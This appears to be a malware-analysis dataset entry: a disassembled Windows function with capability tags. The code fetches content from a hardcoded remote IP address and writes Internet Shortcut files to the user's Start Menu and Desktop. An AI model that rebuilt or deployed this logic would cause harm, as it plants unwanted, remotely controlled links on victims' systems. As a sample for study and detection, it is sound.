Function at 0x401739
Capabilities:
Create http request
Download and write a file
Persist via run registry key
Query or enumerate registry value
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
lea eax, [ebp - 0x10]
push ebx
xor ebx, ebx
push eax
push 1
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40198c
lea eax, [ebp - 0x110]
push str.http:__217.73.66.1_mds.html_did
push eax
call fcn.00401020
push dword [0x403304]
lea eax, [ebp - 0x110]
push eax
call section..text
add esp, 0x10
push ebx
push ebx
push ebx
push 1
push 0x403108
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x40198c
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x110]
push ebx
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x40198c
push esi
push edi
mov edi, 0x7d0
mov esi, 0x403320
push edi
push esi
call fcn.00401063
pop ecx
lea eax, [ebp - 4]
pop ecx
push eax
push edi
push esi
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
push dword [ebp - 8]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 0xc]
call edi
mov al, byte [0x403320]
mov ecx, esi
cmp al, bl
je 0x401981
cmp al, 0x5f
je 0x401812
mov al, byte [ecx + 1]
inc ecx
jmp 0x401800
lea eax, [ecx + 1]
mov byte [ecx], bl
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x401981
lea eax, [ebp - 4]
mov dword [ebp - 4], 0xfa
push eax
lea eax, [ebp - 0x110]
push eax
push ebx
push ebx
push str.Start_Menu
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x4018d7
lea eax, [ebp - 0x110]
push 0x4030f8
push eax
call section..text
lea eax, [ebp - 0x110]
push esi
push eax
call section..text
lea eax, [ebp - 0x110]
push str..url
push eax
call section..text
add esp, 0x18
lea eax, [ebp - 0x110]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x4018d7
lea ecx, [ebp - 4]
push ebx
push ecx
push 0x17
push str._InternetShortcut__nURL
push eax
call edi
lea eax, [ebp - 4]
push ebx
push eax
push dword [ebp - 8]
call fcn.00401088
pop ecx
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 4]
mov dword [ebp - 4], 0xfa
push eax
lea eax, [ebp - 0x110]
push eax
push ebx
push ebx
push str.Desktop
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401981
lea eax, [ebp - 0x110]
push 0x4030f8
push eax
call section..text
lea eax, [ebp - 0x110]
push esi
push eax
call section..text
lea eax, [ebp - 0x110]
push str..url
push eax
call section..text
add esp, 0x18
lea eax, [ebp - 0x110]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401981
lea eax, [ebp - 4]
push ebx
push eax
push 0x17
push str._InternetShortcut__nURL
push esi
call edi
lea eax, [ebp - 4]
push ebx
push eax
push dword [ebp - 8]
call fcn.00401088
pop ecx
push eax
push dword [ebp - 8]
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret